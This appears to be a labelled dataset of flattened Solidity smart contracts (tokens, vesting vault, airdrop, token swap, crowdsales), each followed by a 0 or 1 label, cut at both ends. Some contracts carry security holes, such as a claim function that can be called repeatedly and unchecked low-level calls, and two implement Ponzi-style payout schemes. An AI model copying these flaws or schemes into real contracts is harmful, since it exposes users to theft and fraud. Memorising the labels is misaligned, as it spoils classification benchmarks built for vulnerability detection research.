(_subtractedValue > oldValue) { allowances[msg.sender][_spender] = 0; } else { allowances[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowances[msg.sender][_spender]); return true; } } contract ZJLTToken is TokenERC20 { function ZJLTToken() TokenERC20(2500000000, "ZJLT Distributed Factoring Network", "ZJLT", 18) public { } function () payable public { require(false); } } contract ZJLTTokenVault is Ownable { using SafeMath for uint256; address public teamWallet = 0x1fd4C9206715703c209651c215f506555a40b7C0; uint256 public startLockTime; uint256 public totalAlloc = 25 * 10 ** 18; uint256 public perValue = 20833333 * 10 ** 11; uint256 public timeLockPeriod = 30 days; uint256 public teamVestingStages = 12; uint256 public latestUnlockStage = 0; mapping (address => uint256) public lockBalance; ZJLTToken public token; bool public isExec; event Alloc(address _wallet, uint256 _value); event Claim(address _wallet, uint256 _value); modifier unLocked { uint256 nextStage = latestUnlockStage.add(1); require(startLockTime > 0 && now >= startLockTime.add(nextStage.mul(timeLockPeriod))); _; } modifier unExecd { require(isExec == false); _; } function ZJLTTokenVault(ERC20 _token) public { owner = msg.sender; token = ZJLTToken(_token); } function isUnlocked() public constant returns (bool) { uint256 nextStage = latestUnlockStage.add(1); return startLockTime > 0 && now >= startLockTime.add(nextStage.mul(timeLockPeriod)) ; } function alloc() public onlyOwner unExecd{ require(token.balanceOf(address(this)) >= totalAlloc); lockBalance[teamWallet] = totalAlloc; startLockTime = 1494432000 seconds; isExec = true; emit Alloc(teamWallet, totalAlloc); } function claim() public onlyOwner unLocked { require(lockBalance[teamWallet] > 0); if(latestUnlockStage == 11 && perValue != lockBalance[teamWallet] ){ perValue = lockBalance[teamWallet]; } lockBalance[teamWallet] = lockBalance[teamWallet].sub(perValue); require(token.transfer(teamWallet, perValue)); latestUnlockStage = latestUnlockStage.add(1); emit Claim(teamWallet, perValue); } }
0
pragma solidity ^0.4.21; contract StandardToken { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Issuance(address indexed to, uint256 value); function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint public totalSupply; } contract MintableToken is StandardToken { address public owner; bool public isMinted = false; function mint(address _to) public { assert(msg.sender == owner && !isMinted); balances[_to] = totalSupply; isMinted = true; } } contract SafeNetToken is MintableToken { string public name = 'SafeNet Token'; string public symbol = 'SNT'; uint8 public decimals = 18; function SafeNetToken(uint _totalSupply) public { owner = msg.sender; totalSupply = _totalSupply; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Treaties { using SafeMath for uint; SafeNetToken public token; address public creator; bool public creatorInited = false; address public wallet; uint public walletPercentage = 100; address[] public owners; address[] public teams; address[] public investors; mapping (address => bool) public inList; uint public tokensInUse = 0; mapping (address => uint) public refunds; struct Request { uint8 rType; address beneficiary; string treatyHash; uint tokensAmount; uint ethAmount; uint percentage; uint8 isConfirmed; address[] ownersConfirm; } Request[] public requests; modifier onlyOwner() { for (uint i = 0; i < owners.length; i++) { if (owners[i] == msg.sender) { _; } } } event NewRequest(uint8 rType, address beneficiary, string treatyHash, uint tokensAmount, uint ethAmount, uint percentage, uint id); event RequestConfirmed(uint id); event RequestDeclined(uint id); event RefundsCalculated(); function Treaties(address _wallet, SafeNetToken _token) public { creator = msg.sender; token = _token; wallet = _wallet; } function() external payable { splitProfit(msg.value); } function initCreator(uint _tokensAmount) public { assert(msg.sender == creator && !creatorInited); owners.push(creator); assert(token.transfer(creator, _tokensAmount)); tokensInUse += _tokensAmount; inList[creator] = true; creatorInited = true; } function createTreatyRequest(uint8 _rType, string _treatyHash, uint _tokensAmount) public { require(_rType <= 1); requests.push(Request({ rType: _rType, beneficiary: msg.sender, treatyHash: _treatyHash, tokensAmount: _tokensAmount, ethAmount: 0, percentage: 0, isConfirmed: 0, ownersConfirm: new address[](0) })); emit NewRequest(_rType, msg.sender, _treatyHash, _tokensAmount, 0, 0, requests.length - 1); } function createEthInvestorRequest(uint _tokensAmount) public payable { assert(msg.value > 0); requests.push(Request({ rType: 2, beneficiary: msg.sender, treatyHash: '', tokensAmount: _tokensAmount, ethAmount: msg.value, percentage: 0, isConfirmed: 0, ownersConfirm: new address[](0) })); emit NewRequest(2, msg.sender, "", _tokensAmount, msg.value, 0, requests.length - 1); } function removeEthInvestorRequest(uint id) public { require(id < requests.length); assert(requests[id].isConfirmed == 0 && requests[id].rType == 2); assert(requests[id].beneficiary == msg.sender); requests[id].isConfirmed = 1; assert(msg.sender.send(requests[id].ethAmount)); emit RequestDeclined(id); } function createFiatInvestorRequest(uint _tokensAmount) public { requests.push(Request({ rType: 3, beneficiary: msg.sender, treatyHash: '', tokensAmount: _tokensAmount, ethAmount: 0, percentage: 0, isConfirmed: 0, ownersConfirm: new address[](0) })); emit NewRequest(3, msg.sender, "", _tokensAmount, 0, 0, requests.length - 1); } function createPercentageRequest(uint _percentage) public onlyOwner { require(_percentage <= 100); requests.push(Request({ rType: 4, beneficiary: msg.sender, treatyHash: '', tokensAmount: 0, ethAmount: 0, percentage: _percentage, isConfirmed: 0, ownersConfirm: new address[](0) })); emit NewRequest(4, msg.sender, "", 0, 0, _percentage, requests.length - 1); } function confirmRequest(uint id) public onlyOwner { require(id < requests.length); assert(requests[id].isConfirmed == 0); uint tokensConfirmed = 0; for (uint i = 0; i < requests[id].ownersConfirm.length; i++) { assert(requests[id].ownersConfirm[i] != msg.sender); tokensConfirmed += token.balanceOf(requests[id].ownersConfirm[i]); } requests[id].ownersConfirm.push(msg.sender); tokensConfirmed += token.balanceOf(msg.sender); uint tokensInOwners = 0; for (i = 0; i < owners.length; i++) { tokensInOwners += token.balanceOf(owners[i]); } if (tokensConfirmed > tokensInOwners / 2) { if (requests[id].rType == 4) { walletPercentage = requests[id].percentage; } else { if (!inList[requests[id].beneficiary]) { if (requests[id].rType == 0) { owners.push(requests[id].beneficiary); token.transfer(creator, requests[id].tokensAmount / 10); } if (requests[id].rType == 1) { teams.push(requests[id].beneficiary); } if (requests[id].rType == 2 || requests[id].rType == 3) { investors.push(requests[id].beneficiary); } inList[requests[id].beneficiary] = true; } if (requests[id].rType == 2) { assert(wallet.send(requests[id].ethAmount)); } token.transfer(requests[id].beneficiary, requests[id].tokensAmount); tokensInUse += requests[id].tokensAmount; } requests[id].isConfirmed = 2; emit RequestConfirmed(id); } } function rejectRequest(uint id) public onlyOwner { require(id < requests.length); assert(requests[id].isConfirmed == 0); for (uint i = 0; i < requests[id].ownersConfirm.length; i++) { if (requests[id].ownersConfirm[i] == msg.sender) { requests[id].ownersConfirm[i] = requests[id].ownersConfirm[requests[id].ownersConfirm.length - 1]; requests[id].ownersConfirm.length--; break; } } } function splitProfit(uint profit) internal { uint rest = profit; uint refund; address addr; for (uint i = 0; i < owners.length; i++) { addr = owners[i]; refund = profit.mul(token.balanceOf(addr)).mul(100 - walletPercentage).div(100).div(tokensInUse); refunds[addr] += refund; rest -= refund; } for (i = 0; i < teams.length; i++) { addr = teams[i]; refund = profit.mul(token.balanceOf(addr)).mul(100 - walletPercentage).div(100).div(tokensInUse); refunds[addr] += refund; rest -= refund; } for (i = 0; i < investors.length; i++) { addr = investors[i]; refund = profit.mul(token.balanceOf(addr)).mul(100 - walletPercentage).div(100).div(tokensInUse); refunds[addr] += refund; rest -= refund; } assert(wallet.send(rest)); emit RefundsCalculated(); } function withdrawRefunds() public { assert(refunds[msg.sender] > 0); uint refund = refunds[msg.sender]; refunds[msg.sender] = 0; assert(msg.sender.send(refund)); } }
0
pragma solidity ^0.4.19; interface UNetworkToken { function transfer(address _to, uint256 _value) public; } contract AirDrop { UNetworkToken UUU; address public owner; address[] public recipients = [0xF2faAf764a1242f9A3aEF4B16c51a94866e72736, 0x8b3cca78ef51036e79d36fe2c347063718be0f3a, 0xC936d7d520797E709769Be29Bb7C37416E22Cc1a, 0x95168D0562546B2cdf2f7E9E4d495F0104E6913E, 0x5cba194c8195E3eD3Af90fD966f7e85D271E327e, 0x092f1720a51efdbfc931f6feb45eafeae69a0e24, 0x5f69e771bbd486ab44ff2cd8f00da487506fc1c2, 0xa6870754C96b0c910ceBB672948e7D950e1881df, 0x5f69e771bbd486ab44ff2cd8f00da487506fc1c2, 0xB536f4a39601f8Aa1181788dE9E6512b6bF84b2D, 0x4f19a1323d162f43fb711e8940e38c1b498ab4ea, 0xfBC359D242d3932874fcf56fa9d9441deA253519, 0x93a6ddf4340247a1d63ebc7435740788da735ee3, 0xfA712645B206B5c98E51e73a3A47fde9D0a2790c, 0xdD52a6Cf8184FD79F87d4Cc4517ED81880158f89, 0x60005b2c5e07418454E0abbdF15d4bDF89c223F5, 0x9897f36A653a6120dd873af6F1Eaebc9ea8EE102, 0xA7b541e73bce8e5c54B836A9421AbBe987BA14fB, 0xfaACca5Fc2a50e42c7766F47224afb6039165B68, 0x5433C0b207498222e7C9620014FF83eB3A0200B7, 0x5ae2D866502cc3710CDbFb8a777BE45c3C6Ce71E, 0xe3095b09c20BaC630505D112CAE90C63d87a53F9, 0xC5aE48f1D214C36f4694d92B4aCBE75a058D4cfd, 0x8Bd4De5649B8F66D13863aF0C3ADf236C43fee8A, 0x22C0170Eb6D9d1584577365f5D998B7013d4A1F8, 0x16156E96Df6eb9288af81D054ffa1Ad0fbdf9E1F, 0xFD792c7A456Cb7EFF171162C3D1065c5bCEf0626, 0x7a44E6FbAEc596A29D33812936235446F4A1914b, 0xd58AEA894e84C36e31fD95b6961BE41982248339, 0x97a9ecca6aae169e268a0c4b9de5c337f0a1bf28, 0xAC4683c18b1411E800A0846dACAF2ce3338138b6, 0x4E0AEEd4d4dfF270C4E55C5B2e63D287A9B52239, 0x4B716ffeE0e5bC9B7166c2C50707E46b0Dc4f582, 0x38bEAfdB8Ff5C30BAB350b5056344cA317fD561B, 0xba3CbE5543711Dd0A3738e8e77904d7b6a6Eb648, 0x97f68aC10fC9EA64dfde84a86c9f270402D33b81, 0x82Ee6Fb50Beb746427e70f3C2F81B8F43D2b26f1, 0xc0724eA6D70FB600D0231646976CA80104a18002, 0x5ebE6914e5457AB8e16457CdB4277254ba6fC122, 0xFE259F787cF6e2B168015ae4E79794C8E6377c03, 0xFe9401c32b859A2496B1479399E2119bD3EFB403, 0x037819d479875490Fd4450EeB011416d75dDc74E, 0xD31c92C091F62BA6057034544191b56f0f51A22a, 0xb2DBe4Ec53A8Ad62DC8B8ef5d91FdE1c320de88E, 0xd6A884870456aE7d67dc886468c5C689abCDd1C1, 0xcb700331ec50b8deDb4A8C7e0a35ea09f90462E0, 0xfAd1DDf91439da87De8Cccf2C2b74e278a723a89, 0xa6Fe12D6f968a3a1628D2bD3a267217f47481E59, 0xCca48AA0243088Fb59cdF283D59054A8feD90E5A, 0xff59EFB99162aEd2bb9bA402b3cb3923745cA84F, 0x033599a2ACda11C9ebB422d4A26E60288e22263A, 0xBE76645B387946cA0d91A2C3321bbC276081f025, 0x38a2C5Fb895bE61a9F17C54fE73b840cD3167289, 0xcd049a5eeb063f47dd4a13b90ccd6c71c1b72998, 0xde21aFc49A8506C0fA9DcCB8A0F6BBD366A92446, 0xb5153C64aC416f506199c9D7022C70966940e4aa, 0x6E9197b05a65f4796D185212Ac301FeA093DE28c, 0xEDde17CAfB0aB34D869c3A5767F99386954710C0, 0x1CE1B6baFeCab7133C93Ee34E76DEaf9737C317A, 0x0cbBB4522d1F43b8e7eEa31d78A926Fc9141a5D4, 0xF8E4862B9d31b122eA4e61Fc00cE98098c307d6b, 0x88dEf01a8c8F2e8f3016D09BAD1F92E42c046Af8, 0x2aC40571e39868C72d1Df1ff1B9f0840c38C6194, 0xE913c0f42fB60F85Bd43bDdDAf4e004135eF318c]; uint256[] public values = [1500, 1500, 1500, 1500, 1500, 1500, 1500, 5000, 1500, 1500, 2500, 1500, 2000, 2000, 2000, 2000, 2000, 2000, 2000, 3500, 2000, 2000, 1500, 1500, 1500, 1500, 1500, 1500, 1500, 1500, 2500, 1500, 1500, 2000, 2000, 3500, 2000, 2000, 2000, 2000, 2000, 2000, 2000, 3500, 3500, 3500, 3500, 3500, 3500, 3500, 3500, 3500, 6500, 1500, 1500, 1500, 2500, 1500, 1500, 1500, 1500, 1500, 1500, 1500]; function AirDrop() public { require(values.length == recipients.length); UUU = UNetworkToken(0x3543638eD4a9006E4840B105944271Bcea15605D); owner = msg.sender; } function drop() public { require(msg.sender == owner); for (uint256 i = 0; i < recipients.length; i++) { UUU.transfer(recipients[i], values[i] * 10 ** 18); } } function refund() public { require (msg.sender == owner); UUU.transfer(owner, 100000 * 10**18); } }
1
pragma solidity ^0.4.16; contract ERC20 { bytes32 public standard; bytes32 public name; bytes32 public symbol; uint256 public totalSupply; uint8 public decimals; bool public allowTransactions; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; function transfer(address _to, uint256 _value) returns (bool success); function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); } contract TokenSwap{ uint256 swapSupply = 500000000000000000000000000; address public CYFMAddress = 0x3f06B5D78406cD97bdf10f5C420B241D32759c80; address public XTEAddress = 0xEBf3Aacc50ae14965240a3777eCe8DA1fC490a78; address tokenAdmin = 0xEd86f5216BCAFDd85E5875d35463Aca60925bF16; function Swap(uint256 sendAmount) returns (bool success){ require(swapSupply >= safeMul(safeDiv(sendAmount, 5), 6)); if(ERC20(CYFMAddress).transferFrom(msg.sender, tokenAdmin, sendAmount)){ ERC20(XTEAddress).transfer(msg.sender, safeMul(safeDiv(sendAmount, 5), 6)); swapSupply -= safeMul(safeDiv(sendAmount, 5), 6); } return true; } function Reclaim(uint256 sendAmount) returns (bool success){ require(msg.sender == tokenAdmin); require(swapSupply >= sendAmount); ERC20(XTEAddress).transfer(msg.sender, sendAmount); swapSupply -= sendAmount; return true; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } }
0
pragma solidity 0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, 'Only the owner can call this method'); _; } } contract EtheroStabilizationFund{ address public ethero = 0x0223f73a53a549B8F5a9661aDB4cD9Dd4E25BEDa; uint public investFund; uint estGas = 100000; event MoneyWithdraw(uint balance); event MoneyAdd(uint holding); modifier onlyHero() { require(msg.sender == ethero, 'Only Hero call'); _; } function ReturnEthToEthero()public onlyHero returns(bool){ uint balance = address(this).balance; require(balance > estGas, 'Not enough funds for transaction'); if(ethero.call.value(address(this).balance).gas(estGas)()){ emit MoneyWithdraw(balance); investFund = address(this).balance; return true; }else{ return false; } } function() external payable{ investFund+=msg.value; emit MoneyAdd(msg.value); } } contract EtHero is Ownable{ using SafeMath for uint; mapping (address => uint) public balances; mapping (address => uint) private time; address public fund1 = 0xf846f84841b3242Ccdeac8c43C9cF73Bd781baA7; address public fund2 = 0xa7A20b9f36CD88fC2c776C9BB23FcEA34ba80ef7; address public stabFund; uint estGas = 100000; uint standartPersent = 30; uint minPercent = 5; uint public minPayment = 5 finney; uint dividendsTime = 1 days; event NewInvestor(address indexed investor, uint deposit); event PayOffDividends(address indexed investor, uint value); event NewDeposit(address indexed investor, uint value); event ResiveFromStubFund(uint value); uint public allDeposits; uint public allPercents; uint public allBeneficiaries; uint public lastPayment; struct Beneficiaries{ address investorAddress; uint registerTime; uint persentWithdraw; uint ethWithdraw; uint deposits; bool real; } mapping(address => Beneficiaries) beneficiaries; function setStubFund(address _address)onlyOwner public{ require(_address>0, 'Incorrect address'); stabFund = _address; } function insertBeneficiaries(address _address, uint _persentWithdraw, uint _ethWithdraw, uint _deposits)private{ Beneficiaries storage s_beneficiaries = beneficiaries[_address]; if (!s_beneficiaries.real){ s_beneficiaries.real = true; s_beneficiaries.investorAddress = _address; s_beneficiaries.persentWithdraw = _persentWithdraw; s_beneficiaries.ethWithdraw = _ethWithdraw; s_beneficiaries.deposits = _deposits; s_beneficiaries.registerTime = now; allBeneficiaries+=1; }else{ s_beneficiaries.persentWithdraw += _persentWithdraw; s_beneficiaries.ethWithdraw += _ethWithdraw; } } function getBeneficiaries(address _address)public view returns( address investorAddress, uint persentWithdraw, uint ethWithdraw, uint registerTime ){ Beneficiaries storage s_beneficiaries = beneficiaries[_address]; require(s_beneficiaries.real, '404: Investor Not Found :('); return( s_beneficiaries.investorAddress, s_beneficiaries.persentWithdraw, s_beneficiaries.ethWithdraw, s_beneficiaries.registerTime ); } modifier isIssetRecepient(){ require(balances[msg.sender] > 0, "Deposit not found"); _; } modifier timeCheck(){ require(now >= time[msg.sender].add(dividendsTime), "Too fast payout request"); _; } function receivePayment()isIssetRecepient timeCheck internal{ uint percent = getPercent(); uint rate = balances[msg.sender].mul(percent).div(1000); time[msg.sender] = now; msg.sender.transfer(rate); allPercents+=rate; lastPayment =now; insertBeneficiaries(msg.sender, percent, rate,0); emit PayOffDividends(msg.sender, rate); } function authorizationPayment()public view returns(bool){ if (balances[msg.sender] > 0 && now >= (time[msg.sender].add(dividendsTime))){ return (true); }else{ return(false); } } function getPercent()internal returns(uint){ uint value = balances[msg.sender].mul(standartPersent).div(1000); uint min_value = balances[msg.sender].mul(minPercent).div(1000); if(address(this).balance < min_value){ EtheroStabilizationFund stubF = EtheroStabilizationFund(stabFund); require(stubF.ReturnEthToEthero(), 'Forgive, the stabilization fund can not cover your deposit, try to withdraw your interest later '); emit ResiveFromStubFund(25); } uint contractBalance = address(this).balance; require(contractBalance > min_value, 'Out of money, wait a few days, we will attract new investments'); if(contractBalance > (value.mul(standartPersent).div(1000))){ return(30); } if(contractBalance > (value.mul(standartPersent.sub(5)).div(1000))){ return(25); } if(contractBalance > (value.mul(standartPersent.sub(10)).div(1000))){ return(20); } if(contractBalance > (value.mul(standartPersent.sub(15)).div(1000))){ return(15); } if(contractBalance > (value.mul(standartPersent.sub(20)).div(1000))){ return(10); } if(contractBalance > (value.mul(standartPersent.sub(25)).div(1000))){ return(5); } } function createDeposit() private{ uint value = msg.value; uint rateFund1 = value.mul(5).div(100); uint rateFund2 = value.mul(5).div(100); uint rateStubFund = value.mul(10).div(100); if(msg.value > 0){ if (balances[msg.sender] == 0){ emit NewInvestor(msg.sender, msg.value); } balances[msg.sender] = balances[msg.sender].add(msg.value); time[msg.sender] = now; insertBeneficiaries(msg.sender,0,0, msg.value); fund1.transfer(rateFund1); fund2.transfer(rateFund2); stabFund.call.value(rateStubFund).gas(estGas)(); allDeposits+=msg.value; emit NewDeposit(msg.sender, msg.value); }else{ receivePayment(); } } function() external payable{ require((balances[msg.sender].add(msg.value)) >= balances[msg.sender]); if(msg.sender!=stabFund){ createDeposit(); }else{ emit ResiveFromStubFund(msg.value); } } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public{ owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29462400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x4699F623AF04AA9b802853eB9F3b71f0dF52e827; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0
pragma solidity ^0.4.25; contract Multiplier { address constant private PROMO = 0xfC249eb058C3FAB49D753500Ca4a39014aCdD300; uint constant public PROMO_PERCENT = 10; uint constant public MULTIPLIER = 200; struct Deposit { address depositor; uint128 deposit; uint128 expect; } Deposit[] private queue; uint public currentReceiverIndex = 0; function () public payable { if(msg.value > 0){ require(gasleft() >= 220000, "We require more gas!"); require(msg.value <= 10 ether); queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100))); uint promo = msg.value*PROMO_PERCENT/100; PROMO.send(promo); pay(); } } function pay() private { uint128 money = uint128(address(this).balance); for(uint i=0; i<queue.length; i++){ uint idx = currentReceiverIndex + i; Deposit storage dep = queue[idx]; if(money >= dep.expect){ dep.depositor.send(dep.expect); money -= dep.expect; delete queue[idx]; }else{ dep.depositor.send(money); dep.expect -= money; break; } if(gasleft() <= 50000) break; } currentReceiverIndex += i; } function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){ Deposit storage dep = queue[idx]; return (dep.depositor, dep.deposit, dep.expect); } function getDepositsCount(address depositor) public view returns (uint) { uint c = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ if(queue[i].depositor == depositor) c++; } return c; } function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) { uint c = getDepositsCount(depositor); idxs = new uint[](c); deposits = new uint128[](c); expects = new uint128[](c); if(c > 0) { uint j = 0; for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ idxs[j] = i; deposits[j] = dep.deposit; expects[j] = dep.expect; j++; } } } } function getQueueLength() public view returns (uint) { return queue.length - currentReceiverIndex; } }
1
pragma solidity ^0.4.18; pragma solidity ^0.4.18; contract EIP20Interface { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract YUN is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; string public symbol; function YUN( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
1
pragma solidity ^0.4.16; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface Token { function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); } contract FTWCrowdsale { using SafeMath for uint256; mapping (address => uint256) public balanceOf; Token public tokenReward; address public creator; address public owner = 0xb1Af3544a2cb2b2B12346D2F2Ca3Cd03251d890a; uint256 public price; uint256 public startDate; uint256 public endDate; uint256 public claimDate; event FundTransfer(address backer, uint amount, bool isContribution); function FTWCrowdsale() public { creator = msg.sender; startDate = 1517184000; endDate = 1518480000; claimDate = 1522537200; price = 99108; tokenReward = Token(0x5AB468e962637E4EEcd6660F61b5b4a609E66E13); } function setOwner(address _owner) public { require(msg.sender == creator); owner = _owner; } function setCreator(address _creator) public { require(msg.sender == creator); creator = _creator; } function setStartDate(uint256 _startDate) public { require(msg.sender == creator); startDate = _startDate; } function setEndtDate(uint256 _endDate) public { require(msg.sender == creator); endDate = _endDate; } function setClaimDate(uint256 _claimDate) public { require(msg.sender == creator); claimDate = _claimDate; } function setPrice(uint256 _price) public { require(msg.sender == creator); price = _price; } function setToken(address _token) public { require(msg.sender == creator); tokenReward = Token(_token); } function claim() public { require (now > claimDate); require (balanceOf[msg.sender] > 0); tokenReward.transferFrom(owner, msg.sender, balanceOf[msg.sender]); FundTransfer(msg.sender, balanceOf[msg.sender], true); } function kill() public { require(msg.sender == creator); selfdestruct(owner); } function () payable public { require(msg.value > 0); require(now > startDate); require(now < endDate); uint amount = msg.value * price; balanceOf[msg.sender] = balanceOf[msg.sender].add(amount); owner.transfer(msg.value); } }
1
pragma solidity ^0.4.6; contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract Haltable is Ownable { bool public halted; modifier stopInEmergency { if (halted) throw; _; } modifier onlyInEmergency { if (!halted) throw; _; } function halt() external onlyOwner { halted = true; } function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract PricingStrategy { function isPricingStrategy() public constant returns (bool) { return true; } function isSane(address crowdsale) public constant returns (bool) { return true; } function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); } contract FinalizeAgent { function isFinalizeAgent() public constant returns(bool) { return true; } function isSane() public constant returns (bool); function finalizeCrowdsale(); } contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address to, uint value) returns (bool ok); function transferFrom(address from, address to, uint value) returns (bool ok); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract FractionalERC20 is ERC20 { uint public decimals; } contract Crowdsale is Haltable, SafeMath { uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; FractionalERC20 public token; PricingStrategy public pricingStrategy; FinalizeAgent public finalizeAgent; address public multisigWallet; uint public minimumFundingGoal; uint public startsAt; uint public endsAt; uint public tokensSold = 0; uint public weiRaised = 0; uint public investorCount = 0; uint public loadedRefund = 0; uint public weiRefunded = 0; bool public finalized; mapping (address => uint256) public investedAmountOf; mapping (address => uint256) public tokenAmountOf; mapping (address => bool) public earlyParticipantWhitelist; uint public ownerTestValue; enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding} event Invested(address investor, uint weiAmount, uint tokenAmount); event Refund(address investor, uint weiAmount); event Whitelisted(address addr, bool status); event EndsAtChanged(uint endsAt); function Crowdsale(address _token, PricingStrategy _pricingStrategy, address 